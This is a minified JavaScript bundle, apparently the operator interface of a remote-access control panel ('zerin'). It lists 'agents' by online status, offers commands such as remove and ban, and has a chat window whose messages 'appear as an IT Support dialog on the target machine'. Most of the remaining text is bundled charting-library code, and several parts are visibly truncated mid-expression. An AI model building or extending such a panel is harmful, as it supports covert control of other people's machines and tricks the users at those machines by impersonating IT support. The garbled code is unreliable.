List",nav:{action:"remove"}}]}],ZA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},QA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},JA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},e_=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:a="alive",agentName:o})=>{const l=p.useRef(null),c=p.useRef(null),u=p.useRef(null),[d,f]=p.useState(null),[m,h]=p.useState({x:e,y:t}),[x,g]=p.useState(""),[y,v]=p.useState(-1),[b,w]=p.useState(-1),[j,k]=p.useState(!1),S=p.useRef(null),N=a==="dead",z=x.trim()?Yf.map(D=>({...D,commands:D.commands.filter(M=>M.label.toLowerCase().includes(x.toLowerCase())||M.key.toLowerCase().includes(x.toLowerCase()))})).filter(D=>D.commands.length>0||D.label.toLowerCase().includes(x.toLowerCase())).map(D=>({...D,commands:D.commands.length>0?D.commands:Yf.find(M=>M.label===D.label).commands})):Yf;p.useEffect(()=>{if(n&&l.current){const D=l.current.getBoundingClientRect(),M=window.innerWidth,F=window.innerHeight;let R=e,W=t;e+D.width>M&&(R=M-D.width-8),t+D.height>F&&(W=F-D.height-8),h({x:Math.max(4,R),y:Math.max(4,W)})}else h({x:e,y:t})},[e,t,n]),p.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),k(!1))},[n]),p.useEffect(()=>{n&&requestAnimationFrame(()=>{var D;(D=c.current)==null||D.focus()})},[n]),p.useEffect(()=>{if(!n)return;const D=M=>{l.current&&!l.current.contains(M.target)&&i()};return document.addEventListener("mousedown",D),()=>{document.removeEventListener("mousedown",D)}},[n,i]),p.useEffect(()=>()=>{S.current&&clearTimeout(S.current)},[]);const _=p.useCallback(()=>{if(!u.current)return;const D=u.current;D.style.top="0px";const M=D.getBoundingClientRect(),F=window.innerHeight;if(M.bottom>F-8){const R=M.bottom-F+8;D.style.top=`${-R}px`}},[]);if(p.useEffect(()=>{d&&requestAnimationFrame(_)},[d,_]),p.useEffect(()=>{if(!n)return;const D=M=>{var R;const F=z;if(F.length!==0)switch(M.key){case"ArrowDown":{if(M.preventDefault(),j){const W=F.find($=>$.label===d);W&&w($=>${const $=W$.label===d);W&&w($=>$>0?$-1:W.commands.length-1)}else v(W=>{const $=W>0?W-1:F.length-1;return f(F[$].label),$});break}case"ArrowRight":case"Enter":{if(j&&M.key==="Enter"){M.preventDefault();const W=F.find($=>$.label===d);W&&b>=0&&bdocument.removeEventListener("keydown",D)},[n,z,d,j,y,b,i]),!n)return null;const A=(D,M)=>{S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{f(D),v(M),k(!1),w(-1)},60)},O=()=>{S.current&&clearTimeout(S.current)},P=D=>{N&&D.nav.action!=="remove"&&D.nav.action!=="ban"||r(D.key,D.nav)},I=m.x+200+220>window.innerWidth,U=D=>D===0?!1:z[D].group!==z[D-1].group;return s.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:m.x,top:m.y},onMouseLeave:()=>{f(null),v(-1),k(!1),w(-1)},children:s.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[s.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[s.jsxs("span",{className:"relative inline-flex",children:[a==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${ZA[a]}`})]}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),s.jsx("span",{className:`font-mono text-[10px] ${JA[a]}`,children:QA[a]})]})]}),s.jsx("div",{className:"px-2 pt-2 pb-1",children:s.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[Jt.search,s.jsx("input",{ref:c,type:"text",value:x,onChange:D=>{g(D.target.value),v(-1),f(null),k(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&s.jsx("button",{onClick:()=>{var D;g(""),(D=c.current)==null||D.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),s.jsxs("div",{className:"py-1",children:[z.length===0&&s.jsx("div",{className:"px-3 py-4 text-center",children:s.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),z.map((D,M)=>s.jsxs(wh.Fragment,{children:[U(M)&&s.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),s.jsxs("div",{className:"relative",onMouseEnter:()=>A(D.label,M),onMouseLeave:O,children:[s.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===D.label||y===M?N?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":N?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[s.jsx("span",{className:`${d===D.label||y===M?N?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:D.icon}),s.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:D.label}),s.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===D.label||y===M?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===D.label&&s.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${I?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[s.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:s.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:D.label})}),D.commands.map((F,R)=>{const W=N&&F.nav.action!=="remove"&&F.nav.action!=="ban",$=GA.has(F.key)||F.nav.action==="remove",H=XA.has(F.key)||F.nav.action==="ban",X=YA.has(F.key),se=j&&b===R;return s.jsxs("button",{onClick:()=>P(F),disabled:W,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${$?se?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":H?se?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":W?"cursor-not-allowed text-zerin-text-muted":se?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[s.jsx("span",{children:F.label}),X&&!W&&Jt.externalLink]},F.key)})]})]})]},D.label))]})]})})};function gj({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,a]=p.useState([]),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(!0),m=p.useRef(null),h=p.useRef(null),{lastMessage:x}=p.useContext(ld),g=p.useCallback(async()=>{try{const v=rt(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();a(w)}}catch{}finally{f(!1)}},[e]);p.useEffect(()=>{n&&(f(!0),g())},[n,g]),p.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),p.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),p.useEffect(()=>{var v;(v=m.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),p.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=rt(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();a(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?s.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:s.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),s.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?s.jsx("div",{className:"flex h-full items-center justify-center",children:s.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?s.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[s.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),s.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>s.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:s.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[s.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[s.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),s.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:t_(v.timestamp)})]}),s.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),s.jsx("div",{ref:m})]}),s.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),s.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r + transition-colors hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),s.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function t_(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const n_=({open:e,onClose:t,title:n,children:r})=>{const i=p.useRef(null);return p.useEffect(()=>{if(!e)return;const a=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",a),()=>document.removeEventListener("keydown",a)},[e,t]),p.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?s.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[s.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),s.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),s.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:s.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function yj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:a,className:o,style:l,title:c,desc:u}=e,d=l_(e,o_),f=a||{width:r,height:i,x:0,y:0},m=Xe("recharts-surface",o);return p.createElement("svg",Nm({},It(d),{className:m,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),p.createElement("title",null,c),p.createElement("desc",null,u),n)}),u_=["children","className"];function Sm(){return Sm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=d_(e,u_),a=Xe("recharts-layer",r);return p.createElement("g",Sm({className:a},It(i),{ref:t}),n)}),p_=p.createContext(null);function Ie(e){return function(){return e}}const kj=Math.cos,Hc=Math.sin,Hn=Math.sqrt,Kc=Math.PI,cd=2*Kc,zm=Math.PI,Cm=2*zm,_i=1e-6,m_=Cm-_i;function Nj(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return Nj;const n=10**t;return function(r){this._+=r[0];for(let i=1,a=r.length;i_i)if(!(Math.abs(f*c-u*d)>_i)||!a)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(m),w=a*Math.tan((zm-Math.acos((g+m-y)/(2*v*b)))/2),j=w/b,k=w/v;Math.abs(j-1)>_i&&this._append`L${t+j*d},${n+j*f}`,this._append`A${a},${a},0,0,${+(f*h>d*x)},${this._x1=t+k*c},${this._y1=n+k*u}`}}arc(t,n,r,i,a,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,m=o?i-a:a-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>_i||Math.abs(this._y1-d)>_i)&&this._append`L${u},${d}`,r&&(m<0&&(m=m%Cm+Cm),m>m_?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:m>_i&&this._append`A${r},${r},0,${+(m>=zm)},${f},${this._x1=t+r*Math.cos(a)},${this._y1=n+r*Math.sin(a)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function wx(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new x_(t)}function jx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function Sj(e){this._context=e}Sj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function ud(e){return new Sj(e)}function zj(e){return e[0]}function Cj(e){return e[1]}function Pj(e,t){var n=Ie(!0),r=null,i=ud,a=null,o=wx(l);e=typeof e=="function"?e:e===void 0?zj:Ie(e),t=typeof t=="function"?t:t===void 0?Cj:Ie(t);function l(c){var u,d=(c=jx(c)).length,f,m=!1,h;for(r==null&&(a=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[m]=+e(y,m,f),j[m]=+t(y,m,f),l.point(r?+r(y,m,f):w[m],n?+n(y,m,f):j[m]))}if(b)return l=null,b+""||null}function d(){return Pj().defined(i).curve(o).context(a)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:Ie(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:Ie(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:Ie(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:Ie(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:Ie(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:Ie(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:Ie(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,a!=null&&(l=o(a)),u):o},u.context=function(f){return arguments.length?(f==null?a=l=null:l=o(a=f),u):a},u}class Ej{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function v_(e){return new Ej(e,!0)}function g_(e){return new Ej(e,!1)}const kx={draw(e,t){const n=Hn(t/Kc);e.moveTo(n,0),e.arc(0,0,n,0,cd)}},y_={draw(e,t){const n=Hn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},Aj=Hn(1/3),b_=Aj*2,w_={draw(e,t){const n=Hn(t/b_),r=n*Aj;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},j_={draw(e,t){const n=Hn(t),r=-n/2;e.rect(r,r,n,n)}},k_=.8908130915292852,_j=Hc(Kc/10)/Hc(7*Kc/10),N_=Hc(cd/10)*_j,S_=-kj(cd/10)*_j,z_={draw(e,t){const n=Hn(t*k_),r=N_*n,i=S_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let a=1;a<5;++a){const o=cd*a/5,l=kj(o),c=Hc(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},Gf=Hn(3),C_={draw(e,t){const n=-Hn(t/(Gf*3));e.moveTo(0,n*2),e.lineTo(-Gf*n,-n),e.lineTo(Gf*n,-n),e.closePath()}},mn=-.5,hn=Hn(3)/2,Pm=1/Hn(12),P_=(Pm/2+1)*3,E_={draw(e,t){const n=Hn(t/P_),r=n/2,i=n*Pm,a=r,o=n*Pm+n,l=-a,c=o;e.moveTo(r,i),e.lineTo(a,o),e.lineTo(l,c),e.lineTo(mn*r-hn*i,hn*r+mn*i),e.lineTo(mn*a-hn*o,hn*a+mn*o),e.lineTo(mn*l-hn*c,hn*l+mn*c),e.lineTo(mn*r+hn*i,mn*i-hn*r),e.lineTo(mn*a+hn*o,mn*o-hn*a),e.lineTo(mn*l+hn*c,mn*c-hn*l),e.closePath()}};function A_(e,t){let n=null,r=wx(i);e=typeof e=="function"?e:Ie(e||kx),t=typeof t=="function"?t:Ie(t===void 0?64:+t);function i(){let a;if(n||(n=a=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),a)return n=null,a+""||null}return i.type=function(a){return arguments.length?(e=typeof a=="function"?a:Ie(a),i):e},i.size=function(a){return arguments.length?(t=typeof a=="function"?a:Ie(+a),i):t},i.context=function(a){return arguments.length?(n=a??null,i):n},i}function qc(){}function Yc(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function Oj(e){this._context=e}Oj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Yc(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Yc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function __(e){return new Oj(e)}function Tj(e){this._context=e}Tj.prototype={areaStart:qc,areaEnd:qc,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Yc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function O_(e){return new Tj(e)}function Mj(e){this._context=e}Mj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Yc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function T_(e){return new Mj(e)}function Lj(e){this._context=e}Lj.prototype={areaStart:qc,areaEnd:qc,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function M_(e){return new Lj(e)}function qg(e){return e<0?-1:1}function Yg(e,t,n){var r=e._x1-e._x0,i=t-e._x1,a=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(a*i+o*r)/(r+i);return(qg(a)+qg(o))*Math.min(Math.abs(a),Math.abs(o),.5*Math.abs(l))||0}function Gg(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function Xf(e,t,n){var r=e._x0,i=e._y0,a=e._x1,o=e._y1,l=(a-r)/3;e._context.bezierCurveTo(r+l,i+l*t,a-l,o-l*n,a,o)}function Gc(e){this._context=e}Gc.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:Xf(this,this._t0,Gg(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,Xf(this,Gg(this,n=Yg(this,e,t)),n);break;default:Xf(this,this._t0,n=Yg(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function Ij(e){this._context=new Dj(e)}(Ij.prototype=Object.create(Gc.prototype)).point=function(e,t){Gc.prototype.point.call(this,t,e)};function Dj(e){this._context=e}Dj.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,a){this._context.bezierCurveTo(t,e,r,n,a,i)}};function L_(e){return new Gc(e)}function I_(e){return new Ij(e)}function Rj(e){this._context=e}Rj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=Xg(e),i=Xg(t),a=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/a[t];for(a[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function R_(e){return new dd(e,.5)}function $_(e){return new dd(e,0)}function B_(e){return new dd(e,1)}function ea(e,t){if((o=e.length)>1)for(var n=1,r,i,a=e[t[0]],o,l=a.length;n=0;)n[t]=t;return n}function F_(e,t){return e[t]}function W_(e){const t=[];return t.key=e,t}function U_(){var e=Ie([]),t=Em,n=ea,r=F_;function i(a){var o=Array.from(e.apply(this,arguments),W_),l,c=o.length,u=-1,d;for(const f of a)for(l=0,++u;l0){for(var n,r,i=0,a=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,a=r.length;n0)||!((a=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,a,o;r1&&arguments[1]!==void 0?arguments[1]:Y_,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function Qe(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+a:l!==void 0?i+ti(l)+a:i+a},"")}var Ut=e=>e===0?0:e>0?1:-1,or=e=>typeof e=="number"&&e!=+e,ta=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,he=e=>(typeof e=="number"||e instanceof Number)&&!or(e),Pr=e=>he(e)||typeof e=="string",G_=0,Po=e=>{var t=++G_;return"".concat(e||"").concat(t)},sn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!he(t)&&typeof t!="string")return r;var a;if(ta(t)){if(n==null)return r;var o=t.indexOf("%");a=n*parseFloat(t.slice(0,o))/100}else a=+t;return 